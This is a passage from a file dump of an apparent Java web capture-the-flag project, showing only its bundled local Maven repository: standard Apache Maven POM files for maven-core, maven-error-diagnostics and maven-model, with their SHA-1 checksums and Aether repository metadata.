<groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-descriptor</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interactivity-api</artifactId>\n      <version>1.0-alpha-4</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>plexus-utils</artifactId>\n          <groupId>plexus</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>plexus-container-default</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-ssh</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n    </dependency>\n  </dependencies>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>l10n-maven-plugin</artifactId>\n        <version>1.0-alpha-1</version>\n        <configuration>\n          <locales>\n            <locale>el</locale>\n            <locale>de</locale>\n            <locale>es</locale>\n            <locale>fr</locale>\n            <locale>ja</locale>\n            <locale>nl</locale>\n            <locale>no</locale>\n            <locale>pl</locale>\n            <locale>zh_CN</locale>\n          </locales>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>include-site</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-scm-plugin</artifactId>\n            <configuration>\n              <connectionUrl>scm:svn:http://svn.apache.org/repos/asf/maven/site/trunk</connectionUrl>\n              <checkoutDirectory>${project.build.directory}/maven-site</checkoutDirectory>\n            </configuration>\n            <executions>\n              <execution>\n                <phase>initialize</phase>\n                <goals>\n                  <goal>checkout</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <configuration>\n              <projectsDirectory>${project.build.directory}/maven-site</projectsDirectory>\n              <pom>${project.build.directory}/maven-site/pom.xml</pom>\n              <goals>\n                <goal>clean</goal>\n                <goal>site</goal>\n              </goals>\n            </configuration>\n            <executions>\n              <execution>\n                <id>initialize</id>\n                <phase>initialize</phase>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.0.9/maven-core-2.0.9.pom.sha1",
    "content": "25da75e747afa1c361f003aed72de2e48dd190a7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:18 CST 2018\nmaven-core-2.2.1.jar>central=\nmaven-core-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.jar.sha1",
    "content": "6f488e461188496c62e161f32160b3465ce5901e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  Licensed to the Apache Software Foundation (ASF) under one\n  or more contributor license agreements.  See the NOTICE file\n  distributed with this work for additional information\n  regarding copyright ownership.  The ASF licenses this file\n  to you under the Apache License, Version 2.0 (the\n  \"License\"); you may not use this file except in compliance\n  with the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\n  Unless required by applicable law or agreed to in writing,\n  software distributed under the License is distributed on an\n  \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n  KIND, either express or implied.  See the License for the\n  specific language governing permissions and limitations\n  under the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-core</artifactId>\n\n  <name>Maven Core</name>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-file</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-parameter-documenter</artifactId>\n    </dependency>\n    <!-- This is bizarre, but it seems that putting this AFTER wagon-http\n         causes the shade plugin to completely SKIP adding some parts of\n         commons-httpclient. At least the RequestEntity interface is missing\n         in the resulting output, and ITs will start failing left and right...\n    -->\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-http-lightweight</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-http</artifactId>\n      <exclusions>\n        <exclusion>\n          <groupId>commons-logging</groupId>\n          <artifactId>commons-logging</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-webdav-jackrabbit</artifactId>\n      <scope>runtime</scope>\n      <exclusions>\n        <exclusion>\n          <groupId>commons-logging</groupId>\n          <artifactId>commons-logging</artifactId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>slf4j-jdk14</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.slf4j</groupId>\n      <artifactId>jcl-over-slf4j</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.reporting</groupId>\n      <artifactId>maven-reporting-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-profile</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-provider-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-error-diagnostics</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-project</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>commons-cli</groupId>\n      <artifactId>commons-cli</artifactId>\n      <exclusions>\n        <exclusion>\n          <artifactId>commons-lang</artifactId>\n          <groupId>commons-lang</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>commons-logging</artifactId>\n          <groupId>commons-logging</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-ssh-external</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-descriptor</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interactivity-api</artifactId>\n      <version>1.0-alpha-4</version>\n      <exclusions>\n        <exclusion>\n          <artifactId>plexus-utils</artifactId>\n          <groupId>plexus</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>plexus-container-default</artifactId>\n          <groupId>org.codehaus.plexus</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact-manager</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-monitor</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven.wagon</groupId>\n      <artifactId>wagon-ssh</artifactId>\n<!-- reset once workaround in DefaultMaven removed\n      <scope>runtime</scope>\n-->\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.plexus</groupId>\n      <artifactId>plexus-sec-dispatcher</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>true</filtering>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.0.2</version>\n          <executions>\n            <execution>\n              <id>default</id>\n              <configuration>\n                <source>1.5</source>\n                <target>1.5</target>\n                <excludes>\n                  <exclude>**/cli/*.java</exclude>\n                </excludes>\n              </configuration>\n            </execution>\n            <execution>\n              <id>cli</id>\n              <goals>\n                <goal>compile</goal>\n                <goal>testCompile</goal>\n              </goals>\n              <configuration>\n                <source>1.4</source>\n                <target>1.4</target>\n                <includes>\n                  <include>**/cli/*.java</include>\n                </includes>\n              </configuration>\n            </execution>\n          </executions>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>l10n-maven-plugin</artifactId>\n        <version>1.0-alpha-1</version>\n        <configuration>\n          <locales>\n            <locale>el</locale>\n            <locale>de</locale>\n            <locale>es</locale>\n            <locale>fr</locale>\n            <locale>ja</locale>\n            <locale>nl</locale>\n            <locale>no</locale>\n            <locale>pl</locale>\n            <locale>zh_CN</locale>\n          </locales>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>include-site</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-scm-plugin</artifactId>\n            <configuration>\n              <connectionUrl>scm:svn:http://svn.apache.org/repos/asf/maven/site/trunk</connectionUrl>\n              <checkoutDirectory>${project.build.directory}/maven-site</checkoutDirectory>\n            </configuration>\n            <executions>\n              <execution>\n                <phase>initialize</phase>\n                <goals>\n                  <goal>checkout</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-invoker-plugin</artifactId>\n            <configuration>\n              <projectsDirectory>${project.build.directory}/maven-site</projectsDirectory>\n              <pom>${project.build.directory}/maven-site/pom.xml</pom>\n              <goals>\n                <goal>clean</goal>\n                <goal>site</goal>\n              </goals>\n            </configuration>\n            <executions>\n              <execution>\n                <id>initialize</id>\n                <phase>initialize</phase>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>canonical-buildnumber</id>\n      <activation>\n        <file>\n          <exists>.svn</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <version>1.0-beta-1</version>\n            <executions>\n              <execution>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>create</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <doCheck>false</doCheck>\n              <doUpdate>false</doUpdate>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>non-canonical-buildnumber</id>\n      <activation>\n        <file>\n          <missing>.svn</missing>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <version>1.0-beta-1</version>\n            <executions>\n              <execution>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>create</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <doCheck>false</doCheck>\n              <doUpdate>false</doUpdate>\n              <format>NON-CANONICAL_{0,date,yyyy-MM-dd_HH-mm}_{1}</format>\n              <items>\n                <item>timestamp</item>\n                <item>${user.name}</item>\n              </items>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/2.2.1/maven-core-2.2.1.pom.sha1",
    "content": "c7312a507d519047be160bab5cbb56c07d0247a1"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nmaven-core-3.0.jar>central=\nmaven-core-3.0.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/maven-core-3.0.jar.sha1",
    "content": "73728ce32c9016c8bd05584301fa3ba3a6f5d20a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/maven-core-3.0.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n  <!--\n    Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE\n    file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file\n    to you under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n    the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by\n    applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS,\n    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language\n    governing permissions and limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>3.0</version>\n  </parent>\n\n  <artifactId>maven-core</artifactId>\n\n  <name>Maven Core</name>\n\n  <dependencies>\n    <!--  Maven -->\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-settings-builder</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-repository-metadata</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-artifact</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-plugin-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-model-builder</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.maven</groupId>\n      <artifactId>maven-aether-provider</artifactId>\n      <scope>runtime</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-impl</artifactId>\n      <version>${aetherVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-api</artifactId>\n      <version>${aetherVersion}</version>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.aether</groupId>\n      <artifactId>aether-util</artifactId>\n      <version>${aetherVersion}</version>\n    </dependency>\n    <!-- Plexus -->\n    <dependency>\n      <groupId>org.sonatype.sisu</groupId>\n      <artifactId>sisu-inject-plexus</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-interpolation</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-classworlds</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-annotations</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.sonatype.plexus</groupId>\n      <artifactId>plexus-sec-dispatcher</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>commons-jxpath</groupId>\n      <artifactId>commons-jxpath</artifactId>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n        <filtering>true</filtering>\n      </resource>\n    </resources>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-metadata</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>1.0.0</version>\n          <models>\n            <model>src/main/mdo/toolchains.mdo</model>\n          </models>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>svn-buildnumber</id>\n      <activation>\n        <file>\n          <exists>.svn</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <version>1.0-beta-4</version>\n            <executions>\n              <execution>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>create</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <doCheck>false</doCheck>\n              <doUpdate>false</doUpdate>\n              <providerImplementations>\n                <svn>javasvn</svn>\n              </providerImplementations> \n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>non-canonical-buildnumber</id>\n      <activation>\n        <file>\n          <missing>.svn</missing>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>buildnumber-maven-plugin</artifactId>\n            <version>1.0-beta-1</version>\n            <executions>\n              <execution>\n                <phase>generate-resources</phase>\n                <goals>\n                  <goal>create</goal>\n                </goals>\n              </execution>\n            </executions>\n            <configuration>\n              <doCheck>false</doCheck>\n              <doUpdate>false</doUpdate>\n              <format>NON-CANONICAL_{0,date,yyyy-MM-dd_HH-mm}_{1}</format>\n              <items>\n                <item>timestamp</item>\n                <item>${user.name}</item>\n              </items>\n            </configuration>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-core/3.0/maven-core-3.0.pom.sha1",
    "content": "3727542038487060064a4a14b74c7590d364c45b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-error-diagnostics-2.0.6.jar>central=\nmaven-error-diagnostics-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.jar.sha1",
    "content": "49f5380c07a79cd91ee09e0cb9063764f1f6525c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-error-diagnostics</artifactId>\n  <name>Maven Error Diagnostics</name>\n  <description>Provides a manager component which will process a given Throwable instance through a set of diagnostic\n    sub-components, and return a String message with user-friendly information about the error and possibly\n    how to fix it.</description>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.6/maven-error-diagnostics-2.0.6.pom.sha1",
    "content": "31c0ce961dfc5b491e92ad0804dd48840dac7796"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\nmaven-error-diagnostics-2.0.9.jar>central=\nmaven-error-diagnostics-2.0.9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/maven-error-diagnostics-2.0.9.jar.sha1",
    "content": "46cc6b69beebc7bbf59c4f3842f72f2c1942e8e5"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/maven-error-diagnostics-2.0.9.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.9</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-error-diagnostics</artifactId>\n  <name>Maven Error Diagnostics</name>\n  <description>Provides a manager component which will process a given Throwable instance through a set of diagnostic\n    sub-components, and return a String message with user-friendly information about the error and possibly\n    how to fix it.</description>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.0.9/maven-error-diagnostics-2.0.9.pom.sha1",
    "content": "dd562ddf84fc56b0693b42184a27d86d126ef02b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nmaven-error-diagnostics-2.2.1.jar>central=\nmaven-error-diagnostics-2.2.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.jar.sha1",
    "content": "e81bb342d7d172f23d108dc8fa979a1facdcde8e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n--><project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache.maven</groupId>\n    <artifactId>maven</artifactId>\n    <version>2.2.1</version>\n  </parent>\n\n  <artifactId>maven-error-diagnostics</artifactId>\n\n  <name>Maven Error Diagnostics</name>\n  <description>Provides a manager component which will process a given Throwable instance through a set of diagnostic\n    sub-components, and return a String message with user-friendly information about the error and possibly\n    how to fix it.</description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-container-default</artifactId>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-error-diagnostics/2.2.1/maven-error-diagnostics-2.2.1.pom.sha1",
    "content": "5074991d8d14a88e7c8bff294639a254d7ef387a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:44 CST 2018\nmaven-model-2.0.6.jar>central=\nmaven-model-2.0.6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.jar.sha1",
    "content": "9649253c0e68a453f388e0a308c0653309f87807"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-model/2.0.6/maven-model-2.0.6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>maven</artifactId>\n    <groupId>org.apache.maven</groupId>\n    <version>2.0.6</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>maven-model</artifactId>\n  <name>Maven Model</name>\n  <description>Maven Model</description>\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <configuration>\n          <version>4.0.0</version>\n          <model>src/main/mdo/maven.mdo</model>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <profiles>\n    <profile>\n      <id>all-models</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.modello</groupId>\n     